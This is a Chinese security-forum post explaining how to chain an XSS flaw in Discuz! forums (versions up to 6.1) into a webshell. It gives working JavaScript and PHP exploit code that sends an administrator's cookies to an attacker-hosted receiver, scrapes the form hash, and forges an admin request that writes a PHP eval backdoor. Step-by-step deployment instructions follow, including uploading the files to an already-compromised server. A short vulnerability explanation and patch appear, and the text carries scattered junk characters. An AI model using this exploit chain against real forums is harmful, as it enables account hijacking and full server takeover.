找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3947|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
7 v" y- R1 d; m3 s) l# b$ s6 PBy racle @tian6.com
5 |2 }: |9 R$ r5 X2 [欢迎转帖.但请保留版权信息.
) j* m$ U2 A& X1 t受影响版本iscuz<=6.1.0,gbk+utf+big56 a: g  p4 C$ M# `! M! s
( p! W' ~1 Y5 h7 i9 j" }2 h1 M
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
5 i6 U0 _2 ~3 Y) Q( a" H: ~+ ?8 Q- q
- u. h' S  R4 k0 Y
: C4 F% q3 y) E0 I4 r1 H5 ~3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706+ u0 h' f4 s" l& C# M
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.1 u8 g# {( D' i6 X) N- o  s
8 ~- r/ J/ ~5 U7 x! P" f" Z
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..1 |: g. f$ q# G6 }2 S7 L1 d
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS/ J7 w# P( [7 W+ L4 u& p" w
( N( F- \; l( |4 l* n+ e/ E7 n

( k1 s8 ?9 d/ n+ d' x5 q4 M! x5 T" A----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------3 E7 i# O5 W7 R% N. K6 M" V) C
) J, G: _" ^  {4 R$ c
2 C3 l: v% \: v0 ~, {- ^  }. [2 D
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.! v6 [: _* b8 e# J

, p; ~( f$ h% r- W% v7 P/ cproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
5 V, ~& |7 q( z
' b1 _( Z! I& \6 l, U; E; _problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
% t1 d1 y: b; k. h) G0 k+ R& {- y1 y" K' j/ p, M& i+ v8 G
  M6 x# M4 K4 h
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
4 k5 T' o9 _) A/ ~
8 l/ |* w  c/ G( \; D        global $runwizardfile, $runwizardhistory;% T5 w1 I5 d! e+ M2 z6 d( R! B, f
: j" ?0 P8 ]; i& e# E2 X
        $fp = fopen($runwizardfile, 'w');& R7 L( I$ U# D2 r5 t' o5 O0 d1 V- a
- a& l  y8 j+ C# y' v' `
        fwrite($fp, serialize($runwizardhistory));' ?, z  L6 o5 Q& ^
# M3 ]( d3 t- B0 H
        fclose($fp);6 t8 a* D5 U7 S9 x/ r
& e, E0 Z( E1 Y3 v4 j" R
}6 n- M/ X! l9 X7 B* V0 J. v; B
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.5 M% K  o' p# k
以下是修补的办法:function saverunwizardhistory() {8 ^/ y' V1 f. O! y, c
3 O) t" Y  x, z8 s
        global $runwizardfile, $runwizardhistory;9 M5 s* s8 T  ?6 H: M
+ S) ], g( x/ T6 b
        $fp = fopen($runwizardfile, 'w');  d) g" L1 |1 [$ ^' C5 x
: T5 J0 l' \5 q4 K$ V4 |
        $s = '<?php exit;?>';+ r4 U" h4 @' `) K7 s% @$ t8 C7 C
1 L- H! c6 I( V8 [1 Y
        $s .= serialize($runwizardhistory);
, a, w) \- s' D
3 y, ?) p5 ]0 z2 i1 n: I% Q        fwrite($fp, $s);
7 s8 s% X, o. D' t: H$ [# O3 X4 ]% i+ G
        fclose($fp);' X& r7 Z9 v1 K9 z, l

8 P' }! B6 T+ R0 `0 q( m}
6 b5 @  P3 o# d9 J& h* M) H复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.. H) m, R; ?1 @, p7 G; P2 M

$ K+ m+ t3 P# B9 R4 t
' R  A1 d4 @9 R) n& Q( e9 l
0 S. O! q% @5 I----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------5 V/ D8 P+ N; T7 Y+ F, B
( u( T2 d% K$ f% B! T5 n1 Z, S
. O+ g% h' }3 u. F# i1 J% K! H
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
; a' @# {0 ?7 w' r" F, w8 X) `2 u; N) G# W# f9 F; k
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.7 k. c) F! J) @5 P& |8 h

2 ]5 w, N: e" L* T这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.. v0 N8 n: F1 l9 I, a1 i
7 \2 ?, m  g9 }1 z3 M9 i
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:$ M& U/ |, n8 F4 X
; o0 C. C) z% K% ?. \7 J% K
var url="http://目标网站/admincp.php";      
+ d$ Z/ g3 D  z
! U' Q3 j; O" k/*获得cookies*/% B6 Z5 ?0 b# R- q, N: s
  i* S5 N/ N1 Q1 b2 p
function getURL(s) {
9 Q& H- k& r  T' w# s) X" J3 ^0 V
4 }- U6 Y7 v- ^var image = new Image();
9 Y' _8 d- k: U! ]' }% w# U
- W. `1 E( x  |image.style.width = 0;
) Q2 H; ~7 i% L0 c& `7 V+ w7 ^! l8 S& C' o8 l
image.style.height = 0;
2 D5 A  |# y8 a; H/ [
: c! {. Y! I$ I" }6 k6 |image.src = s;  a6 n( Y. O6 S9 `
) V8 h* ?( U! j) V5 ?5 [
}
: H2 {# O9 C- @& x/ t* f! Z/ p) L* {$ B. G$ u; D
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
; `* T' }1 f* `4 W2 E复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];3 }1 s+ V2 j; V) x- Z4 B
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 8 J) e1 A3 Q4 i: a+ q- T/ B, Q6 o

% j2 r" G# R0 \
7 Z1 D0 J+ W) z获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";5 M" I9 C* {$ P* d

* f, X& F& [) q9 A3 [* y
8 M! c) r4 m  E  z0 w% p
& i! s; _2 ~/ o/ {- ?) p8 I- ]/*hash*/. m5 b! G- W9 _3 v) X

6 s: L8 H# C6 Hvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
3 l3 y# N8 [% o. U
- Y. l/ _1 Q6 G* sxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
0 J! \" l- O! d8 c5 v+ x& i& ^' P! a) [; [
xmlHttpReq.send();
6 i3 j  k; {0 Z) r1 V' T! N
. R0 q7 u+ s8 Pvar resource = xmlHttpReq.responseText;
' d6 d6 @. d" h7 j$ L8 R6 O0 x- H0 `, E
var numero = resource.search(/formhash/);" e9 O, k& o! H* _; t7 [

* j+ d; v5 x" q$ i& Fvar formhash=encodeURIComponent(resource.substr(numero+17,8));8 o" A! X' v$ {0 ]8 q/ N& F' s9 N( i

% @0 D' _. S5 B1 t8 ~& k  \5 Z2 I6 Q3 v

2 Y3 n3 O. j* J' I- c$ ovar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 0 D3 Z" _" P' I4 Q, R4 Q

9 K- _. ^! b$ `xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ( _0 T: Q  n2 \6 t* t& E$ X
1 {; P+ T  G5 V7 D" L
xmlHttpReq.setRequestHeader("Referer", url);  }' H8 u4 g8 X/ s  ]: e3 r9 Z

; p0 ~& U' ~2 \4 e, AxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
5 D3 r) H8 s& b- s- h, O! R! L( s1 o) d% w
xmlHttpReq.setrequestheader("content-length",post.length);
2 N' H8 o: {: W5 z+ t9 [9 w! `- l) p- d3 H4 g9 H- R4 N
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
; F* I& {% g% v1 O% P
+ f1 u2 ]( Y9 K; i+ UxmlHttpReq.send(post);//发送数据* S" Z3 w4 f% A0 {$ T" ?4 h
复制代码这里HASH我假设正确,这样提交,也无须cookies+ q3 I6 c& }0 e. H
4 g" L4 J$ U3 [/ I% J0 j
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);0 ~3 h- |! G5 J& l5 Z+ S7 H4 p8 z

+ W5 S9 n/ N9 X% Z1 Dif (!$sock) die("$errstr ($errno)\n");* o/ p& R+ G. Y
+ b8 i6 s, Y% J' F) T
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';( e0 g' o, \, H! r* x) e" l/ e# H9 J
( T6 S* i% m+ ~% N0 O% T" l

: r0 H0 f, ]# G5 u3 h- }; ~6 M  o$ ^; ~5 U  U
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");9 I* V( J' s% P4 ~' D; I' R

( G: P$ j& |5 C* l. f- |! Xfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");3 u. W% R- K. s. E" x

) ?3 p3 R9 B( k! U- T2 N. j/ ufwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
) T9 J% |7 b* Y! G' d4 e" B: H# P) `1 T: t* L0 [7 K& T  D
fwrite($sock, "Accept-Language: zh-cn\r\n");# c9 t. m; m$ e) C2 G& V

) A. [3 j- P# w$ F! wfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");. G( ]0 s& \( _' [! Q
9 H# ~6 H8 @& w& ^, z/ T
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
% m4 e4 |1 e6 j2 T4 H6 y/ `; ~! X" @7 }1 A" t. q9 h% p
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
6 y4 a! L" _* h2 [6 c, P' Y. h9 F* b
fwrite($sock, "Host: $url\r\n");! y: z4 g3 Y: C
& B* f2 R# L2 R; o1 C
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");& _7 c# f6 O) a6 Z2 {& ?4 {: I
4 o! u; [% J* T9 N# P- i. X
fwrite($sock, "Connection: Keep-Alive\r\n");# J3 `# d% S9 j- j
  m  \8 R8 T* z: o9 @7 L) v' w& d
fwrite($sock, "Cache-Control: no-cache\r\n");; G  Q9 @: o. M. V1 C+ R

4 s# I" k/ V, Nfwrite($sock, "Cookie:".$cookies."\r\n\r\n");' X4 t' m$ t( {3 B% N) \0 q# H
& v" @$ _4 ~1 l. f! C
fwrite($sock, $data);
3 }' T5 N8 F0 W/ g6 L1 O$ b# n8 @! n4 r) ?2 n3 Y
: Y* X0 K& H0 r3 ?0 u. G; R: a

: K- ]$ @- \' G, Q- @6 M$headers = "";
3 G' P$ q3 R! j/ [3 r
3 W, O( s  s5 s, a& J0 U7 Ewhile ($str = trim(fgets($sock, 4096)))
, X/ T9 M0 {% \! m3 ]( h/ L- w- c% k4 Q; N
     $headers .= "$str\n";. u, d. r. F9 o! q
' \* j2 |! W4 M$ {1 |
echo "\n";
* u% d8 v0 _( K4 A
7 H" e& z: u' v; N$body = "";
# i9 I4 K1 O( X+ J8 Y
9 N* Y) @4 U8 e' M5 y! [while (!feof($sock))
0 T$ @5 P% X" k% ^7 Y# q2 }
: ~1 t4 e. J/ W  q' I     $body .= fgets($sock, 4096);; C/ n  j' a: s$ Y% N

. S7 a% Z+ v' `/ ufclose($sock);
% R+ ], d. Z" Y/ o! z8 x0 M' ]0 e. y  v% x& l
echo $body;
' O6 d* `! t& @& A6 M  V复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^* l/ {% N9 B6 c5 o6 u7 k
, d3 O4 q2 b6 Z$ w: i
( w) `$ N. }5 \7 j% T. h3 ~
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------7 U8 ~9 k) c$ D. H7 \' G8 A: G

7 T- {0 T: l; k
) k) y$ r1 L: |; ^. z' @1HP SOCKET利用方法首先打开racle.js
5 m$ V" u  `4 z" H! A7 U% P5 l# w% J3 V0 m& D1 I; S
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
# M& i/ j  B! v( X# Q  x/ m( K" h3 g4 Q$ l

% p, V3 }' @* j4 `. l- s2 {
: I  j; B8 P/ {' v然后打开racle@tian6.php; D! ?2 h# Z0 d( h$ u5 W2 }) k1 O% J
1 U3 [8 v0 u6 `( {
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com# a& T* z* V) R( e+ l9 l

4 n( w1 I) K: u& u; c
7 b  d3 I: V6 r. q8 w
7 Y& ]/ ]; C+ M9 I5 `# w如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:, S0 h& w& ~& M& H9 }4 q; x7 ^. d5 b

8 j/ f, ^! a7 j- TgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));7 L3 P9 `6 Z' I/ a" X! E( n
2 `  L/ p, u3 t0 w; [) f, l
为5 [8 s! X7 Q( i' ^

2 D0 S& C& i$ V& ?- T! ]getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));7 k; b* }: ?0 c
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.0 k8 p2 d& m! B( d4 d7 r
% p' F( F# S; f! j
% x* D! z! k" K# J. \
% q4 i6 W6 d7 X  d* K0 k
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
, K; D% g7 T7 l  e  w3 ?+ ^, w; s3 a( U, c: p+ V; @
var formhash=encodeURIComponent(resource.substr(numero+17,8));; `9 C9 x9 G1 {7 l! p+ E& H
0 {+ g2 R  y  B' C; Z' ~0 V
为
+ m) Z$ S  Q) c5 U8 X
! e0 }- y' S& D8 l/ _  D# i6 ]0 W+ xvar formhash=encodeURIComponent(resource.substr(numero+9,8));
4 A& t6 s7 f: Q+ O- v  y8 q9 K复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧." d- W& t1 {" M* M! N
  T6 N9 K7 m8 s" y
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.& ^5 ~+ f$ J) X

0 P: `: |/ m1 ]+ T% f5 G如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
; D3 t/ H9 b" p
3 O) |/ J% e8 D& \9 d3 J+ j6 \8 `不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.! ^7 X& _; o( t& S- n; C5 \

  o+ }/ L/ ~, g* J0 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表